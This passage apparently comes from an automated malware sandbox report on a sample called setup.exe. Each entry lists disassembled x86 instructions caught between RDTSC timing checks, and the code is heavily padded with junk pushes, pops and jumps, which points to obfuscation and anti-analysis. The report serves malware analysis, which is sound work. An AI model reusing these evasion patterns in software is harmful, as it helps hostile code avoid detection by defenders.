Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E00C3 second address: 50E0139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 push edi 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FC16945A283h 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FC16945A284h 0x00000019 sub ecx, 7E877048h 0x0000001f jmp 00007FC16945A27Bh 0x00000024 popfd 0x00000025 jmp 00007FC16945A288h 0x0000002a popad 0x0000002b push eax 0x0000002c jmp 00007FC16945A27Bh 0x00000031 xchg eax, ebx 0x00000032 pushad 0x00000033 mov bx, ax 0x00000036 push eax 0x00000037 push edx 0x00000038 mov ebx, ecx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0139 second address: 50E016F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebx, dword ptr [ebp+10h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pop esi 0x0000000e pop edx 0x0000000f mov ax, 86D9h 0x00000013 popad 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 mov cx, 3811h 0x0000001a mov edx, eax 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC169461AA6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E016F second address: 50E018A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 6C5D7986h 0x00000012 mov dl, A8h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E018A second address: 50E01B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC169461A9Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E01B9 second address: 50E0205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC16945A287h 0x00000009 sbb cx, 6E1Eh 0x0000000e jmp 00007FC16945A289h 0x00000013 popfd 0x00000014 mov ecx, 34299BE7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov dx, 298Ah 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0205 second address: 50E020A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E020A second address: 50E0286 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC16945A27Ch 0x00000009 adc cl, 00000048h 0x0000000c jmp 00007FC16945A27Bh 0x00000011 popfd 0x00000012 call 00007FC16945A288h 0x00000017 pop eax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007FC16945A280h 0x00000021 xchg eax, edi 0x00000022 pushad 0x00000023 mov esi, 29A2926Dh 0x00000028 call 00007FC16945A27Ah 0x0000002d mov bh, cl 0x0000002f pop edi 0x00000030 popad 0x00000031 test esi, esi 0x00000033 jmp 00007FC16945A27Ah 0x00000038 je 00007FC1DB2A8614h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 mov cl, dh 0x00000043 mov bx, cx 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0286 second address: 50E02FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushfd 0x00000007 jmp 00007FC169461A9Dh 0x0000000c sbb esi, 192FF9D6h 0x00000012 jmp 00007FC169461AA1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 jmp 00007FC169461A9Eh 0x00000027 je 00007FC1DB2AFDF7h 0x0000002d jmp 00007FC169461AA0h 0x00000032 mov edx, dword ptr [esi+44h] 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FC169461AA7h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E02FC second address: 50E0301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0301 second address: 50E032F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461AA5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c or edx, dword ptr [ebp+0Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC169461A9Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E032F second address: 50E0354 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edx, 61000000h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC16945A281h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0354 second address: 50E03C6 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 mov si, dx 0x0000000a pop edx 0x0000000b popad 0x0000000c jne 00007FC1DB2AFDBEh 0x00000012 pushad 0x00000013 popad 0x00000014 test byte ptr [esi+48h], 00000001h 0x00000018 jmp 00007FC169461AA9h 0x0000001d jne 00007FC1DB2AFDB2h 0x00000023 pushad 0x00000024 jmp 00007FC169461A9Ch 0x00000029 pushfd 0x0000002a jmp 00007FC169461AA2h 0x0000002f xor ax, 8638h 0x00000034 jmp 00007FC169461A9Bh 0x00000039 popfd 0x0000003a popad 0x0000003b test bl, 00000007h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E03C6 second address: 50E03CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E03CA second address: 50E03E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0882 second address: 50D08C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FC16945A27Eh 0x00000010 and esp, FFFFFFF8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC16945A287h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D08C3 second address: 50D08E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D08E7 second address: 50D08EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D08EB second address: 50D08F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D08F1 second address: 50D090E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A282h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D090E second address: 50D0912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0912 second address: 50D0916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0916 second address: 50D091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D091C second address: 50D0922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0922 second address: 50D0966 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, AEh 0x00000011 pushfd 0x00000012 jmp 00007FC169461AA4h 0x00000017 or ax, 7B98h 0x0000001c jmp 00007FC169461A9Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0966 second address: 50D09C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A289h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC16945A283h 0x00000013 adc esi, 244621BEh 0x00000019 jmp 00007FC16945A289h 0x0000001e popfd 0x0000001f mov eax, 29292307h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D09C1 second address: 50D0A17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC169461AA3h 0x00000009 adc cx, C3CEh 0x0000000e jmp 00007FC169461AA9h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FC169461AA8h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0A17 second address: 50D0A39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 3853h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC16945A285h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0A39 second address: 50D0A85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007FC169461A9Eh 0x00000011 sub ebx, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FC169461A9Ah 0x0000001c add eax, 061DFB68h 0x00000022 jmp 00007FC169461A9Bh 0x00000027 popfd 0x00000028 mov di, ax 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0A85 second address: 50D0ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A285h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007FC16945A27Eh 0x00000010 je 00007FC1DB2AFB56h 0x00000016 pushad 0x00000017 pushad 0x00000018 mov esi, 0D2667D3h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0ABD second address: 50D0B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 mov dl, 50h 0x00000008 pop esi 0x00000009 popad 0x0000000a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000011 jmp 00007FC169461A9Dh 0x00000016 mov ecx, esi 0x00000018 pushad 0x00000019 jmp 00007FC169461A9Ch 0x0000001e mov eax, 794EB421h 0x00000023 popad 0x00000024 je 00007FC1DB2B7349h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FC169461AA3h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0B0B second address: 50D0BCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC16945A27Fh 0x00000009 add esi, 0FBCA77Eh 0x0000000f jmp 00007FC16945A289h 0x00000014 popfd 0x00000015 mov ch, 5Dh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test byte ptr [76FB6968h], 00000002h 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FC16945A289h 0x00000028 sub eax, 0012CC66h 0x0000002e jmp 00007FC16945A281h 0x00000033 popfd 0x00000034 movzx esi, di 0x00000037 popad 0x00000038 jne 00007FC1DB2AFAABh 0x0000003e pushad 0x0000003f mov bx, 0A1Ch 0x00000043 pushfd 0x00000044 jmp 00007FC16945A285h 0x00000049 and ch, 00000076h 0x0000004c jmp 00007FC16945A281h 0x00000051 popfd 0x00000052 popad 0x00000053 mov edx, dword ptr [ebp+0Ch] 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FC16945A27Dh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0BCA second address: 50D0BCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0BCF second address: 50D0C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC16945A27Dh 0x0000000a or cl, FFFFFF86h 0x0000000d jmp 00007FC16945A281h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 pushad 0x00000019 call 00007FC16945A27Ah 0x0000001e pop eax 0x0000001f push ebx 0x00000020 pop ecx 0x00000021 popad 0x00000022 push ebx 0x00000023 mov ecx, 3C8DCE79h 0x00000028 pop esi 0x00000029 popad 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FC16945A27Bh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0C20 second address: 50D0CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FC169461A9Eh 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 mov esi, 2AA8293Dh 0x00000016 pushfd 0x00000017 jmp 00007FC169461A9Ah 0x0000001c adc si, 6B18h 0x00000021 jmp 00007FC169461A9Bh 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 jmp 00007FC169461AA9h 0x0000002e xchg eax, ebx 0x0000002f pushad 0x00000030 pushad 0x00000031 movzx esi, di 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 popad 0x00000038 push dword ptr [ebp+14h] 0x0000003b jmp 00007FC169461AA7h 0x00000040 push dword ptr [ebp+10h] 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0CB7 second address: 50D0CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0CBB second address: 50D0CC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0D3E second address: 50D0D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, CBh 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0D50 second address: 50D0D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0D54 second address: 50D0D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0D58 second address: 50D0D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0D5E second address: 50D0D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0D64 second address: 50D0D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0D99 second address: 50E0E30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A287h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC16945A284h 0x00000011 sub ecx, 21AAC2F8h 0x00000017 jmp 00007FC16945A27Bh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FC16945A288h 0x00000023 adc ah, 00000058h 0x00000026 jmp 00007FC16945A27Bh 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f push esi 0x00000030 movsx edx, cx 0x00000033 pop eax 0x00000034 popad 0x00000035 xchg eax, ebp 0x00000036 jmp 00007FC16945A289h 0x0000003b mov ebp, esp 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0E30 second address: 50E0E43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0E43 second address: 50E0E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0E49 second address: 50E0E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0B3D second address: 50E0B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0B41 second address: 50E0B54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0B54 second address: 50E0B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A289h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, si 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC16945A280h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51606CF second address: 51606D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51606D5 second address: 51606D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51606D9 second address: 51606DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5150A96 second address: 5150A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 515090C second address: 5150912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5150912 second address: 5150916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5150916 second address: 515091A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 515091A second address: 5150966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007FC16945A27Fh 0x00000010 mov ebp, esp 0x00000012 jmp 00007FC16945A286h 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FC16945A287h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5150966 second address: 515096C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F01FB second address: 50F0216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC16945A287h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0216 second address: 50F0232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC169461AA1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0232 second address: 50F0261 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov esi, 23BE3273h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 mov edi, esi 0x00000018 mov cx, 9E63h 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0261 second address: 50F0268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0268 second address: 50F026D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5150CC3 second address: 5150D57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, BD3Ah 0x00000007 pushfd 0x00000008 jmp 00007FC169461A9Bh 0x0000000d or ah, FFFFFFDEh 0x00000010 jmp 00007FC169461AA9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b mov dx, 68F2h 0x0000001f call 00007FC169461AA3h 0x00000024 mov esi, 7954F78Fh 0x00000029 pop eax 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c jmp 00007FC169461A9Bh 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FC169461A9Bh 0x0000003c adc esi, 559A244Eh 0x00000042 jmp 00007FC169461AA9h 0x00000047 popfd 0x00000048 mov bx, si 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5150D57 second address: 5150DB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007FC16945A27Eh 0x00000011 push dword ptr [ebp+08h] 0x00000014 jmp 00007FC16945A280h 0x00000019 push 4B8DDD49h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jmp 00007FC16945A27Ah 0x00000026 call 00007FC16945A282h 0x0000002b pop ecx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5150DF0 second address: 5150DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5150DFF second address: 5150E86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A289h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC16945A27Ch 0x00000013 add si, 2CA8h 0x00000018 jmp 00007FC16945A27Bh 0x0000001d popfd 0x0000001e call 00007FC16945A288h 0x00000023 pushfd 0x00000024 jmp 00007FC16945A282h 0x00000029 and cx, 5A38h 0x0000002e jmp 00007FC16945A27Bh 0x00000033 popfd 0x00000034 pop esi 0x00000035 popad 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov eax, 6CE14667h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100726 second address: 510072C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 510072C second address: 5100732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100732 second address: 5100753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FC169461AA0h 0x00000011 pop eax 0x00000012 mov ax, dx 0x00000015 popad 0x00000016 rdtsc
